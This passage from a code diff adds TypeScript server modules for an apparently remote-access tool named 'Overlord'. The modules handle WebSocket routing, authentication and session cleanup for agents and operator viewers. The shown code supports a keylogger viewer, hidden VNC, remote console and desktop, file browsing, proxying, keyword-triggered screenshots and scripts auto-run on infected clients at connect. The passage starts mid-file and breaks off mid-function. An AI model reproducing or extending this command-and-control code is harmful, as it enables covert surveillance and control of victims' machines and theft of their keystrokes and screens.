dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
takePendingNotificationScreenshot: (clientId: string) => any;
|
||||
storeNotificationScreenshot: (
|
||||
pending: any,
|
||||
bytes: Uint8Array,
|
||||
format: string,
|
||||
width?: number,
|
||||
height?: number,
|
||||
) => void;
|
||||
handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
|
||||
handleConsoleOutput: (payload: any) => void;
|
||||
handleFileBrowserMessage: (clientId: string, payload: any) => void;
|
||||
handleProxyMessage: (clientId: string, payload: any) => void;
|
||||
handleProcessMessage: (clientId: string, payload: any) => void;
|
||||
handleKeyloggerMessage: (clientId: string, payload: any) => void;
|
||||
notifyRdInputLatency: (commandId: string) => void;
|
||||
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
|
||||
handlePluginEvent: (clientId: string, payload: any) => void;
|
||||
handleNotification: (clientId: string, payload: any) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
|
||||
notifyConsoleClosed: (clientId: string, reason: string) => void;
|
||||
clearPendingNotificationScreenshots: (clientId: string) => void;
|
||||
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
|
||||
};
|
||||
|
||||
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
|
||||
const role = ws.data.role as string;
|
||||
const clientId = ws.data.clientId;
|
||||
const ip = ws.data.ip;
|
||||
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
|
||||
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
|
||||
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
|
||||
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
|
||||
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
||||
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
|
||||
if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws);
|
||||
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
|
||||
|
||||
const id = clientId || uuidv4();
|
||||
const info: ClientInfo = { id, role: role as any, ws, lastSeen: Date.now(), country: "", ip, online: true };
|
||||
clientManager.addClient(id, info);
|
||||
|
||||
ws.data.clientId = id;
|
||||
ws.data.ip = ip;
|
||||
if (role === "client") {
|
||||
ws.data.wasKnown = clientExists(id);
|
||||
}
|
||||
|
||||
upsertClientRow({ id, role: role as any, ip, lastSeen: info.lastSeen, online: 1 as any });
|
||||
logger.info(`[open] ${id} role=${role}`);
|
||||
|
||||
const notificationConfig = deps.getNotificationConfig();
|
||||
ws.send(
|
||||
encodeMessage({
|
||||
type: "hello_ack",
|
||||
id,
|
||||
notification: {
|
||||
keywords: notificationConfig.keywords || [],
|
||||
minIntervalMs: notificationConfig.minIntervalMs || 8000,
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
if (role === "client") {
|
||||
deps.notifyRemoteDesktopStatus(id, "online");
|
||||
metrics.recordConnection();
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebSocketMessage(
|
||||
ws: ServerWebSocket<SocketData>,
|
||||
message: string | ArrayBuffer | Uint8Array,
|
||||
deps: WsLifecycleDeps,
|
||||
): void {
|
||||
const size = getMessageByteLength(message as any);
|
||||
const role = ws.data?.role as any;
|
||||
const limit = getMaxPayloadLimit(role, deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes);
|
||||
if (size > limit) {
|
||||
logger.warn(`[ws] closing socket due to oversized message (${size} > ${limit}) role=${role || "unknown"}`);
|
||||
try {
|
||||
ws.close(1009, "Message too large");
|
||||
} catch {}
|
||||
return;
|
||||
}
|
||||
|
||||
const socketRole = ws.data.role as string;
|
||||
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
|
||||
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
|
||||
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
|
||||
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
|
||||
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
||||
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
|
||||
if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message);
|
||||
if (socketRole === "notifications_viewer") return;
|
||||
|
||||
const { clientId, ip } = ws.data;
|
||||
const info = clientManager.getClient(clientId);
|
||||
if (!info) return;
|
||||
info.lastSeen = Date.now();
|
||||
|
||||
try {
|
||||
const payload = decodeMessage(message as Uint8Array) as WireMessage;
|
||||
if (!payload || typeof (payload as any).type !== "string") {
|
||||
return;
|
||||
}
|
||||
if (!isAllowedClientMessageType((payload as any).type)) {
|
||||
logger.warn(`[message] Dropping unknown client message type: ${(payload as any).type}`);
|
||||
return;
|
||||
}
|
||||
|
||||
const payloadType = (payload as any)?.type as string;
|
||||
switch (payloadType) {
|
||||
case "hello": {
|
||||
handleHello(info, payload, ws, ip);
|
||||
clientManager.addClient(info.id, info);
|
||||
deps.dispatchAutoScriptsForConnection(info, ws);
|
||||
if (info.role === "client") {
|
||||
const wasKnown = Boolean((ws as any)?.data?.wasKnown);
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "system",
|
||||
ip: (ws as any)?.data?.ip || ip || "unknown",
|
||||
action: wasKnown ? AuditAction.CLIENT_RECONNECT : AuditAction.CLIENT_FIRST_CONNECT,
|
||||
targetClientId: info.id,
|
||||
success: true,
|
||||
details: JSON.stringify({ host: info.host, os: info.os, user: info.user }),
|
||||
});
|
||||
(ws as any).data.wasKnown = true;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "ping":
|
||||
handlePing(info, payload, ws);
|
||||
break;
|
||||
case "pong":
|
||||
handlePong(info, payload);
|
||||
break;
|
||||
case "frame":
|
||||
if ((payload as any)?.header?.fps === 0) {
|
||||
const pending = deps.takePendingNotificationScreenshot(info.id);
|
||||
if (pending) {
|
||||
let bytes: Uint8Array | null = null;
|
||||
if ((payload as any).data instanceof Uint8Array) {
|
||||
bytes = (payload as any).data;
|
||||
} else if ((payload as any).data instanceof ArrayBuffer) {
|
||||
bytes = new Uint8Array((payload as any).data);
|
||||
} else if (ArrayBuffer.isView((payload as any).data)) {
|
||||
bytes = new Uint8Array((payload as any).data.buffer);
|
||||
}
|
||||
|
||||
const format = String((payload as any)?.header?.format || "jpeg");
|
||||
const width = Number((payload as any)?.header?.width) || undefined;
|
||||
const height = Number((payload as any)?.header?.height) || undefined;
|
||||
if (bytes) {
|
||||
deps.storeNotificationScreenshot(pending, bytes, format, width, height);
|
||||
}
|
||||
}
|
||||
}
|
||||
handleFrame(info, payload);
|
||||
break;
|
||||
case "screenshot_result":
|
||||
deps.handleNotificationScreenshotResult(info.id, payload);
|
||||
break;
|
||||
case "console_output":
|
||||
deps.handleConsoleOutput(payload);
|
||||
break;
|
||||
case "file_list_result":
|
||||
case "file_download":
|
||||
case "file_upload_result":
|
||||
case "file_read_result":
|
||||
case "file_search_result":
|
||||
case "command_result":
|
||||
if (typeof (payload as any).commandId === "string") {
|
||||
deps.notifyRdInputLatency((payload as any).commandId);
|
||||
}
|
||||
deps.handleNotificationScreenshotFailure(
|
||||
(payload as any).commandId,
|
||||
(payload as any).ok,
|
||||
(payload as any).message,
|
||||
);
|
||||
deps.handleFileBrowserMessage(info.id, payload);
|
||||
deps.handleProxyMessage(info.id, payload);
|
||||
break;
|
||||
case "command_progress":
|
||||
deps.handleFileBrowserMessage(info.id, payload);
|
||||
break;
|
||||
case "process_list_result":
|
||||
deps.handleProcessMessage(info.id, payload);
|
||||
break;
|
||||
case "keylog_file_list":
|
||||
case "keylog_file_content":
|
||||
case "keylog_clear_result":
|
||||
case "keylog_delete_result":
|
||||
deps.handleKeyloggerMessage(info.id, payload);
|
||||
break;
|
||||
case "script_result": {
|
||||
logger.debug(
|
||||
`[script] client=${info.id} ok=${(payload as any).ok} output_length=${(payload as any).output?.length || 0}`,
|
||||
);
|
||||
const cmdId = (payload as any).commandId;
|
||||
if (cmdId && deps.pendingScripts.has(cmdId)) {
|
||||
const pending = deps.pendingScripts.get(cmdId)!;
|
||||
clearTimeout(pending.timeout);
|
||||
pending.resolve({
|
||||
ok: (payload as any).ok,
|
||||
result: (payload as any).output || "",
|
||||
error: (payload as any).error,
|
||||
});
|
||||
deps.pendingScripts.delete(cmdId);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "plugin_event":
|
||||
deps.handlePluginEvent(info.id, payload);
|
||||
break;
|
||||
case "notification":
|
||||
deps.handleNotification(info.id, payload);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
} catch (err) {
|
||||
logger.error("[message] decode error", err);
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebSocketClose(
|
||||
ws: ServerWebSocket<SocketData>,
|
||||
code: number,
|
||||
reason: unknown,
|
||||
deps: WsLifecycleDeps,
|
||||
): void {
|
||||
const clientId = ws.data.clientId;
|
||||
const role = ws.data.role as string;
|
||||
const sessionId = ws.data.sessionId;
|
||||
|
||||
if (role === "console_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteConsoleSession(sessionId);
|
||||
const target = clientManager.getClient(clientId);
|
||||
deps.stopConsoleOnTarget(target, sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "rd_viewer") {
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
removedClientId = sess.clientId;
|
||||
sessionManager.getAllRdSessions().delete(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const stillViewing = Array.from(sessionManager.getAllRdSessions().values()).some((s) => s.clientId === removedClientId);
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
deps.sendDesktopCommand(target, "desktop_stop", {});
|
||||
deps.rdStreamingState.delete(removedClientId);
|
||||
logger.debug(`[rd] cleaned up state for client ${removedClientId}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "hvnc_viewer") {
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
removedClientId = sess.clientId;
|
||||
sessionManager.getAllHvncSessions().delete(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const stillViewing = Array.from(sessionManager.getAllHvncSessions().values()).some((s) => s.clientId === removedClientId);
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
if (target) {
|
||||
deps.sendHVNCCommand(target, "hvnc_stop", {});
|
||||
}
|
||||
deps.hvncStreamingState.delete(removedClientId);
|
||||
logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "file_browser_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.getAllFileBrowserSessions().delete(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "process_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.getAllProcessSessions().delete(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "keylogger_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteKeyloggerSession(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "proxy_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteProxySession(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "notifications_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteNotificationSession(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
clientManager.deleteClient(clientId);
|
||||
deps.notifyConsoleClosed(clientId, "Client disconnected");
|
||||
setOnlineState(clientId, false);
|
||||
deps.clearPendingNotificationScreenshots(clientId);
|
||||
logger.info(`[close] ${clientId} code=${code} reason=${reason}`);
|
||||
|
||||
if (role === "client") {
|
||||
deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected");
|
||||
metrics.recordDisconnection();
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "system",
|
||||
ip: ws.data?.ip || "unknown",
|
||||
action: AuditAction.CLIENT_DISCONNECT,
|
||||
targetClientId: clientId,
|
||||
success: true,
|
||||
details: JSON.stringify({ code, reason: String(reason || "") }),
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { logger } from "../../logger";
|
||||
import { isIpBanned } from "../../db";
|
||||
|
||||
type RequestServer = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
upgrade: (req: Request, data: any) => boolean;
|
||||
};
|
||||
|
||||
type WsUpgradeDeps = {
|
||||
isAuthorizedAgentRequest: (req: Request, url: URL) => boolean;
|
||||
};
|
||||
|
||||
export async function handleWsUpgradeRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestServer,
|
||||
deps: WsUpgradeDeps,
|
||||
): Promise<Response | null> {
|
||||
const consoleWsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/console\/ws$/);
|
||||
if (consoleWsMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = consoleWsMatch[1];
|
||||
const sessionId = crypto.randomUUID();
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "console_viewer", clientId, sessionId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const wsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/stream\/ws$/);
|
||||
if (wsMatch) {
|
||||
logger.info(`[auth] Checking agent authorization for client connection`);
|
||||
if (!deps.isAuthorizedAgentRequest(req, url)) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
const clientId = wsMatch[1];
|
||||
const role = (url.searchParams.get("role") as any) || "viewer";
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (ip && isIpBanned(ip)) {
|
||||
logger.warn(`[auth] Rejected banned IP ${ip} for client ${clientId}`);
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
if (server.upgrade(req, { data: { role, clientId, ip } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const rdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/rd\/ws$/);
|
||||
if (rdMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = rdMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "rd_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const hvncMatch = url.pathname.match(/^\/api\/clients\/(.+)\/hvnc\/ws$/);
|
||||
if (hvncMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = hvncMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "hvnc_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/);
|
||||
if (fbMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = fbMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "file_browser_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const processMatch = url.pathname.match(/^\/api\/clients\/(.+)\/processes\/ws$/);
|
||||
if (processMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = processMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "process_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const keyloggerMatch = url.pathname.match(/^\/api\/clients\/(.+)\/keylogger\/ws$/);
|
||||
if (keyloggerMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = keyloggerMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "keylogger_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const proxyMatch = url.pathname.match(/^\/api\/clients\/(.+)\/proxy\/ws$/);
|
||||
if (proxyMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = proxyMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "proxy_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
export const HEARTBEAT_INTERVAL_MS = 15_000;
|
||||
export const STALE_MS = 5 * 60_000;
|
||||
export const DISCONNECT_TIMEOUT_MS = 10_000;
|
||||
|
||||
export const PRUNE_BATCH = Number(process.env.PRUNE_BATCH || 500);
|
||||
export const MAX_WS_MESSAGE_BYTES_VIEWER = Number(
|
||||
process.env.MAX_WS_MESSAGE_BYTES_VIEWER || 1_000_000,
|
||||
);
|
||||
export const MAX_WS_MESSAGE_BYTES_CLIENT = Number(
|
||||
process.env.MAX_WS_MESSAGE_BYTES_CLIENT || 50_000_000,
|
||||
);
|
||||
@@ -0,0 +1,15 @@
|
||||
import path from "path";
|
||||
import fs from "fs";
|
||||
|
||||
export function resolveRuntimeRoot(cwd: string = process.cwd()): string {
|
||||
const explicitRoot = process.env.OVERLORD_ROOT?.trim();
|
||||
if (explicitRoot) {
|
||||
return path.resolve(explicitRoot);
|
||||
}
|
||||
|
||||
if (fs.existsSync(path.join(cwd, "Overlord-Client"))) {
|
||||
return cwd;
|
||||
}
|
||||
|
||||
return path.resolve(cwd, "..");
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
import { logger } from "../logger";
|
||||
import type { ClientInfo } from "../types";
|
||||
|
||||
type PruneStaleClientsParams = {
|
||||
clients: Map<string, ClientInfo>;
|
||||
staleMs: number;
|
||||
pruneBatch: number;
|
||||
setOnlineState: (id: string, online: boolean) => void;
|
||||
deleteClient: (id: string) => void;
|
||||
};
|
||||
|
||||
export function pruneStaleClients(params: PruneStaleClientsParams): void {
|
||||
const now = Date.now();
|
||||
let processed = 0;
|
||||
|
||||
for (const [id, info] of params.clients.entries()) {
|
||||
if (now - info.lastSeen <= params.staleMs) continue;
|
||||
|
||||
try {
|
||||
if (info.role === "client") {
|
||||
info.ws.close(4000, "stale");
|
||||
params.setOnlineState(id, false);
|
||||
processed += 1;
|
||||
continue;
|
||||
}
|
||||
info.ws.close();
|
||||
} catch (err) {
|
||||
logger.error(`[prune] close failed for ${id}`, err);
|
||||
}
|
||||
|
||||
params.deleteClient(id);
|
||||
params.setOnlineState(id, false);
|
||||
processed += 1;
|
||||
|
||||
if (processed >= params.pruneBatch) {
|
||||
logger.debug(`[prune] paused after ${processed} stale sockets; will continue next sweep`);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
import { certificatesExist, generateSelfSignedCert, getLocalIPs, isOpenSSLAvailable } from "../certGenerator";
|
||||
import { logger } from "../logger";
|
||||
|
||||
type TlsBootstrapParams = {
|
||||
certPath: string;
|
||||
keyPath: string;
|
||||
caPath?: string;
|
||||
};
|
||||
|
||||
export async function prepareTlsOptions(params: TlsBootstrapParams): Promise<{ cert?: string; key?: string; ca?: string }> {
|
||||
logger.info("[TLS] TLS/HTTPS is always enabled for security");
|
||||
|
||||
if (!certificatesExist(params.certPath, params.keyPath)) {
|
||||
logger.info("[TLS] Certificates not found, generating self-signed certificates...");
|
||||
|
||||
if (!(await isOpenSSLAvailable())) {
|
||||
logger.error("[TLS] ERROR: OpenSSL is not installed or not in PATH");
|
||||
logger.error("[TLS] Please install OpenSSL:");
|
||||
logger.error("[TLS] - Linux: apt install openssl / yum install openssl");
|
||||
logger.error("[TLS] - macOS: brew install openssl");
|
||||
logger.error("[TLS] - Windows: choco install openssl or download from https://slproweb.com/products/Win32OpenSSL.html");
|
||||
throw new Error("OpenSSL is required for certificate generation");
|
||||
}
|
||||
|
||||
const localIPs = getLocalIPs();
|
||||
const hostname = process.env.OVERLORD_HOSTNAME || "localhost";
|
||||
|
||||
try {
|
||||
await generateSelfSignedCert({
|
||||
certPath: params.certPath,
|
||||
keyPath: params.keyPath,
|
||||
commonName: hostname,
|
||||
daysValid: 3650,
|
||||
additionalIPs: localIPs,
|
||||
});
|
||||
} catch (err) {
|
||||
logger.error("[TLS] Failed to generate certificates:", err);
|
||||
throw err;
|
||||
}
|
||||
} else {
|
||||
logger.info(`[TLS] Using existing certificates: ${params.certPath}`);
|
||||
}
|
||||
|
||||
try {
|
||||
const certFile = Bun.file(params.certPath);
|
||||
const keyFile = Bun.file(params.keyPath);
|
||||
|
||||
const tlsOptions: { cert?: string; key?: string; ca?: string } = {
|
||||
cert: await certFile.text(),
|
||||
key: await keyFile.text(),
|
||||
};
|
||||
|
||||
if (params.caPath) {
|
||||
const caFile = Bun.file(params.caPath);
|
||||
if (await caFile.exists()) {
|
||||
tlsOptions.ca = await caFile.text();
|
||||
logger.info("[TLS] Client certificate verification enabled");
|
||||
}
|
||||
}
|
||||
|
||||
return tlsOptions;
|
||||
} catch (err) {
|
||||
logger.error("[TLS] Failed to load certificates:", err);
|
||||
throw err;
|
||||
}
|
||||
}
|
||||
|
||||
export function logServerStartup(server: { hostname?: string; port?: number }, certPath: string): void {
|
||||
const hostname = server.hostname || "0.0.0.0";
|
||||
const port = server.port ?? 0;
|
||||
const localIPs = getLocalIPs();
|
||||
logger.info("========================================");
|
||||
logger.info("Overlord Server - SECURE MODE (TLS Always On)");
|
||||
logger.info("========================================");
|
||||
logger.info(`HTTPS: https://${hostname}:${port}`);
|
||||
logger.info(`WSS: wss://${hostname}:${port}/api/clients/{id}/stream/ws`);
|
||||
if (localIPs.length > 0) {
|
||||
logger.info("\nLocal network addresses:");
|
||||
localIPs.forEach((ip) => logger.info(` - https://${ip}:${port}`));
|
||||
}
|
||||
logger.info("\n⚠️ Using self-signed certificate");
|
||||
logger.info(` Clients must trust: ${certPath}`);
|
||||
logger.info(" Or use: OVERLORD_TLS_INSECURE_SKIP_VERIFY=true (dev only)");
|
||||
logger.info("========================================");
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
import type { AutoScriptTrigger } from "../db";
|
||||
|
||||
export const AUTO_SCRIPT_TRIGGERS = new Set<AutoScriptTrigger>([
|
||||
"on_connect",
|
||||
"on_first_connect",
|
||||
"on_connect_once",
|
||||
]);
|
||||
|
||||
export const ALLOWED_SCRIPT_TYPES = new Set([
|
||||
"powershell",
|
||||
"bash",
|
||||
"cmd",
|
||||
"python",
|
||||
"sh",
|
||||
]);
|
||||
|
||||
export const ALLOWED_PLATFORMS = new Set([
|
||||
"windows-amd64",
|
||||
"windows-386",
|
||||
"windows-arm64",
|
||||
"linux-amd64",
|
||||
"linux-arm64",
|
||||
"linux-armv7",
|
||||
"darwin-amd64",
|
||||
"darwin-arm64",
|
||||
]);
|
||||
@@ -0,0 +1,45 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
|
||||
type OpenHandler<TLifecycleDeps> = (
|
||||
ws: ServerWebSocket<SocketData>,
|
||||
deps: TLifecycleDeps,
|
||||
) => void;
|
||||
|
||||
type MessageHandler<TLifecycleDeps> = (
|
||||
ws: ServerWebSocket<SocketData>,
|
||||
message: string | ArrayBuffer | Uint8Array,
|
||||
deps: TLifecycleDeps,
|
||||
) => void;
|
||||
|
||||
type CloseHandler<TLifecycleDeps> = (
|
||||
ws: ServerWebSocket<SocketData>,
|
||||
code: number,
|
||||
reason: string,
|
||||
deps: TLifecycleDeps,
|
||||
) => void;
|
||||
|
||||
export function createWebSocketRuntime<TLifecycleDeps>(deps: {
|
||||
maxClientPayloadBytes: number;
|
||||
maxViewerPayloadBytes: number;
|
||||
lifecycleDeps: TLifecycleDeps;
|
||||
handleWebSocketOpen: OpenHandler<TLifecycleDeps>;
|
||||
handleWebSocketMessage: MessageHandler<TLifecycleDeps>;
|
||||
handleWebSocketClose: CloseHandler<TLifecycleDeps>;
|
||||
}) {
|
||||
return {
|
||||
perMessageDeflate: true,
|
||||
maxPayloadLength: Math.max(deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes),
|
||||
idleTimeout: 255,
|
||||
sendPings: true,
|
||||
open(ws: ServerWebSocket<SocketData>) {
|
||||
deps.handleWebSocketOpen(ws, deps.lifecycleDeps);
|
||||
},
|
||||
message(ws: ServerWebSocket<SocketData>, message: string | ArrayBuffer | Uint8Array) {
|
||||
deps.handleWebSocketMessage(ws, message, deps.lifecycleDeps);
|
||||
},
|
||||
close(ws: ServerWebSocket<SocketData>, code: number, reason: string) {
|
||||
deps.handleWebSocketClose(ws, code, reason, deps.lifecycleDeps);
|
||||
},
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,550 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import * as clientManager from "../clientManager";
|
||||
import { logger } from "../logger";
|
||||
import { metrics } from "../metrics";
|
||||
import { encodeMessage } from "../protocol";
|
||||
import * as sessionManager from "../sessions/sessionManager";
|
||||
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
|
||||
import type { ClientInfo } from "../types";
|
||||
|
||||
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
|
||||
if (typeof raw === "string") {
|
||||
try {
|
||||
return JSON.parse(raw);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
try {
|
||||
const buf = raw instanceof Uint8Array ? raw : new Uint8Array(raw);
|
||||
return msgpackDecode(buf);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
|
||||
try {
|
||||
ws.send(msgpackEncode(payload));
|
||||
} catch (err) {
|
||||
logger.error("[console] viewer send failed", err);
|
||||
}
|
||||
}
|
||||
|
||||
function safeSendViewerFrame(ws: ServerWebSocket<SocketData>, bytes: Uint8Array, header?: any): number {
|
||||
try {
|
||||
const meta = new Uint8Array(8);
|
||||
meta[0] = 0x46;
|
||||
meta[1] = 0x52;
|
||||
meta[2] = 0x4d;
|
||||
meta[3] = 1;
|
||||
meta[4] = (header?.monitor ?? 0) & 0xff;
|
||||
meta[5] = (header?.fps ?? 0) & 0xff;
|
||||
